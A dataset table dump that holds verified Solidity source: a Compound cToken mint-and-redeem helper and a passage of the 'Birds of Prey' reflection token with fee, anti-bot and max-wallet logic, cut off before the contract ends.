source_code
stringlengths 52
864k
| success
stringclasses 1
value | input_ids
sequence | attention_mask
sequence |
|---|---|---|---|
/**
*Submitted for verification at Etherscan.io on 2021-02-17
*/
pragma solidity 0.6.7;
interface IERC20 {
function transfer(address to, uint256 value) external;
function approve(address spender, uint256 value) external;
}
interface CToken {
function mint(uint mintAmount) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function underlying() external returns (IERC20);
}
interface CEther {
function mint() external payable;
function redeemUnderlying(uint redeemAmount) external returns (uint);
}
abstract contract LinenWalletActions {
function cEther() internal pure virtual returns (CEther);
function approveAndMint(CToken cToken, uint mintAmount) external returns (bool) {
if (address(cToken) == address(cEther())){
cEther().mint{value: mintAmount}();
} else {
cToken.underlying().approve(address(cToken), mintAmount);
require(cToken.mint(mintAmount) == 0, "Mint was not successful");
}
return true;
}
function redeemUnderlyingAndTransfer(CToken cToken, address payable to, uint redeemAmount) external returns (bool) {
if (address(cToken) == address(cEther())){
require(cEther().redeemUnderlying(redeemAmount) == 0, "Redeem Underlying was not successful");
(bool success, ) = to.call{value: redeemAmount}("");
require(success, "Transfer was not successful");
} else {
require(cToken.redeemUnderlying(redeemAmount) == 0, "Redeem Underlying was not successful");
cToken.underlying().transfer(to, redeemAmount);
}
return true;
}
function redeemUnderlyingAndTransfer(CToken cToken, address payable to, uint redeemAmount, uint feeAmount) external returns (bool) {
require(redeemAmount >= feeAmount, "subtraction overflow");
if (address(cToken) == address(cEther())){
require(cEther().redeemUnderlying(redeemAmount) == 0, "Redeem Underlying was not successful");
(bool success, ) = to.call{value: redeemAmount - feeAmount}("");
require(success, "Transfer was not successful");
} else {
require(cToken.redeemUnderlying(redeemAmount) == 0, "Redeem Underlying was not successful");
cToken.underlying().transfer(to, redeemAmount - feeAmount);
}
return true;
}
}
contract LinenWalletActionsMainnet is LinenWalletActions {
function cEther() internal pure override returns (CEther){
return CEther(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/*
Birds of Prey
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) external virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract BirdsOfPrey is Context, IERC20, Ownable {
using Address for address;
address payable public operationsAddress;
address payable public devAddress;
address payable public futureOwnerAddress;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool public limitsInEffect = true;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e9 * 1e18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Birds of Prey";
string private constant _symbol = "PREY";
uint8 private constant _decimals = 18;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _operationsFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 public _buyTaxFee = 100;
uint256 public _buyLiquidityFee = 200;
uint256 public _buyOperationsFee = 300;
uint256 public _buyDevFee = 200;
uint256 public _sellTaxFee = 100;
uint256 public _sellLiquidityFee = 200;
uint256 public _sellOperationsFee = 300;
uint256 public _sellDevFee = 200;
uint256 public _sellTaxFeeExtra = 200;
uint256 public _sellLiquidityFeeExtra = 300;
uint256 public _sellOperationsFeeExtra = 1000;
uint256 public _sellDevFeeExtra = 1000;
mapping (address => bool) public extraTaxWallets;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public blockForPenaltyEnd;
mapping (address => bool) public boughtEarly;
uint256 public botsCaught;
uint256 public _liquidityTokensToSwap;
uint256 public _operationsTokensToSwap;
uint256 public _devTokensToSwap;
uint256 public maxTransactionAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
uint256 public maxWallet;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap;
IDexRouter public dexRouter;
address public lpPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 operationsFee, uint256 liquidityFee, uint256 reflectFee, uint256 devFee);
event SetSellFee(uint256 operationsFee, uint256 liquidityFee, uint256 reflectFee, uint256 devFee);
event SetSellFeeExtra(uint256 operationsFee, uint256 liquidityFee, uint256 reflectFee, uint256 devFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedOperationsAddress(address operations);
event UpdatedDevAddress(address dev);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event EnabledTrading();
event RemovedLimits();
event TransferDelayDisabled();
event UpdatedPrivateMaxSell(uint256 amount);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[address(this)] = _rTotal/100*35;
_rOwned[msg.sender] = _rTotal/100*65;
maxTransactionAmount = _tTotal * 2 / 1000;
maxWallet = _tTotal / 100;
minimumTokensBeforeSwap = _tTotal * 50 / 100000;
operationsAddress = payable(0x7f69cb5724e4F8Fe5e43347315F11c06C60e928f);
devAddress = payable(0xaB7ABe1D921dEB1A2d0D5182Faa3E6bc5175604F);
futureOwnerAddress = payable(0xd629817c3E53DAae1d2BDa952d2d5aaFE3cc752d);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0xdead)] = true;
_isExcludedFromFee[operationsAddress] = true;
_isExcludedFromFee[futureOwnerAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(operationsAddress, true);
excludeFromMaxTransaction(futureOwnerAddress, true);
excludeFromReward(msg.sender);
excludeFromReward(futureOwnerAddress);
emit Transfer(address(0), address(this), _tTotal/100*35);
emit Transfer(address(0), address(msg.sender), _tTotal/100*65);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// remove limits when ready
function removeLimits() external onlyOwner {
limitsInEffect = false;
transferDelayEnabled = false;
maxTransactionAmount = _tTotal;
maxWallet = _tTotal;
emit RemovedLimits();
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner {
transferDelayEnabled = false;
emit TransferDelayDisabled();
}
function removeBoughtEarly(address[] calldata wallets) external onlyOwner {
for(uint256 i = 0; i < wallets.length; i++){
boughtEarly[wallets[i]] = false;
}
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
// change the minimum amount of tokens to sell from fees
function updateMinimumTokensBeforeSwap(uint256 newAmount) external onlyOwner{
require(newAmount >= _tTotal * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= _tTotal * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
minimumTokensBeforeSwap = newAmount;
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(newNum >= (_tTotal * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (1e18);
}
function updateMaxWallet(uint256 newNum) external onlyOwner {
require(newNum >= (_tTotal * 1 / 100)/1e18, "Cannot set maxTransactionAmount lower than 1%");
maxWallet = newNum * (1e18);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_isExcludedMaxTransactionAmount[pair] = value;
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount / (currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(!earlyBuyPenaltyInEffect()){
require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!inSwapAndLiquify &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number && _holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(lpPair) > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance
) {
swapBack();
}
removeAllFee();
buyOrSellSwitch = TRANSFER;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if((earlyBuyPenaltyInEffect() || (amount >= maxTransactionAmount - .9 ether && blockForPenaltyEnd + 4 >= block.number)) && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]){
if(!earlyBuyPenaltyInEffect()){
maxTransactionAmount -= 1;
}
if(!boughtEarly[to]){
boughtEarly[to] = true;
botsCaught += 1;
emit CaughtEarlyBuyer(to);
}
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyOperationsFee + _buyDevFee;
if(_liquidityFee > 0){
buyOrSellSwitch = BUY;
}
}
// extra sell penalty for certain airdropped wallets
if(extraTaxWallets[from] && automatedMarketMakerPairs[to]){
_taxFee = _sellTaxFeeExtra;
_liquidityFee = _sellLiquidityFeeExtra + _sellOperationsFeeExtra + _sellDevFeeExtra;
if(_liquidityFee > 0){
buyOrSellSwitch = SELL;
}
}
// Buy
if (automatedMarketMakerPairs[from]) {
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyOperationsFee + _buyDevFee;
if(_liquidityFee > 0){
buyOrSellSwitch = BUY;
}
}
// Sell
else if (automatedMarketMakerPairs[to]) {
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellOperationsFee + _sellDevFee;
if(_liquidityFee > 0){
buyOrSellSwitch = SELL;
}
}
}
_tokenTransfer(from, to, amount);
restoreAllFee();
}
function earlyBuyPenaltyInEffect() public view returns (bool){
return block.number < blockForPenaltyEnd;
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap + _operationsTokensToSwap + _devTokensToSwap;
bool success;
// prevent overly large contract sells.
if(contractBalance >= minimumTokensBeforeSwap * 10){
contractBalance = minimumTokensBeforeSwap * 10;
}
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = contractBalance * _liquidityTokensToSwap / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance-(tokensForLiquidity);
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance;
uint256 ethForOperations = ethBalance* (_operationsTokensToSwap) / (totalTokensToSwap - (_liquidityTokensToSwap/2));
uint256 ethForDev = ethBalance* (_devTokensToSwap) / (totalTokensToSwap - (_liquidityTokensToSwap/2));
uint256 ethForLiquidity = ethBalance - ethForOperations - ethForDev;
_liquidityTokensToSwap = 0;
_operationsTokensToSwap = 0;
_devTokensToSwap = 0;
if(tokensForLiquidity > 0 && ethForLiquidity > 0){
addLiquidity(tokensForLiquidity, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(devAddress).call{value: ethForDev}("");
// send remainder to operations
(success,) = address(operationsAddress).call{value: address(this).balance}("");
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= minimumTokensBeforeSwap, "Can only swap back if above the threshold.");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
_approve(address(this), address(dexRouter), tokenAmount);
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(dexRouter), tokenAmount);
dexRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - (rAmount);
_tOwned[recipient] = _tOwned[recipient] + (tTransferAmount);
_rOwned[recipient] = _rOwned[recipient] + (rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender]-(tAmount);
_rOwned[sender] = _rOwned[sender]-(rAmount);
_rOwned[recipient] = _rOwned[recipient]+(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender]-(tAmount);
_rOwned[sender] = _rOwned[sender]-(rAmount);
_tOwned[recipient] = _tOwned[recipient]+(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient]+(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal-(rFee);
_tFeeTotal = _tFeeTotal+(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount-(tFee)-(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount*(currentRate);
uint256 rFee = tFee*(currentRate);
uint256 rLiquidity = tLiquidity*(currentRate);
uint256 rTransferAmount = rAmount-(rFee)-(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / (tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply-(_rOwned[_excluded[i]]);
tSupply = tSupply-(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal / (_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_operationsTokensToSwap += tLiquidity * _buyOperationsFee / _liquidityFee;
_devTokensToSwap += tLiquidity * _buyDevFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_operationsTokensToSwap += tLiquidity * _sellOperationsFee / _liquidityFee;
_devTokensToSwap += tLiquidity * _sellDevFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * (currentRate);
_rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount * _taxFee / 10000;
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount * _liquidityFee / 10000;
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyOperationsFee, uint256 buyDevFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyOperationsFee = buyOperationsFee;
_buyDevFee = buyDevFee;
require(_buyTaxFee + _buyLiquidityFee + _buyOperationsFee + _buyDevFee <= 1500, "Must keep buy taxes below 15%");
emit SetBuyFee(buyOperationsFee, buyLiquidityFee, buyTaxFee, buyDevFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellOperationsFee, uint256 sellDevFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellOperationsFee = sellOperationsFee;
_sellDevFee = sellDevFee;
require(_sellTaxFee + _sellLiquidityFee + _sellOperationsFee + _sellDevFee <= 2500, "Must keep sell taxes below 25%");
emit SetSellFee(sellOperationsFee, sellLiquidityFee, sellTaxFee, sellDevFee);
}
function setSellFeeExtra(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellOperationsFee, uint256 sellDevFee)
external
onlyOwner
{
_sellTaxFeeExtra = sellTaxFee;
_sellLiquidityFeeExtra = sellLiquidityFee;
_sellOperationsFeeExtra = sellOperationsFee;
_sellDevFeeExtra = sellDevFee;
require(_sellTaxFeeExtra + _sellLiquidityFeeExtra + _sellOperationsFeeExtra + _sellDevFeeExtra <= 2500, "Must keep sell taxes below 25%");
emit SetSellFeeExtra(sellOperationsFee, sellLiquidityFee, sellTaxFee, sellDevFee);
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
operationsAddress = payable(_operationsAddress);
emit UpdatedOperationsAddress(_operationsAddress);
}
function setDevAddress(address _devAddress) external onlyOwner {
require(_devAddress != address(0), "_devAddress address cannot be 0");
devAddress = payable(_devAddress);
emit UpdatedDevAddress(_devAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// To receive ETH from dexRouter when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this) || !tradingActive, "Can't withdraw native tokens when trading is active");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
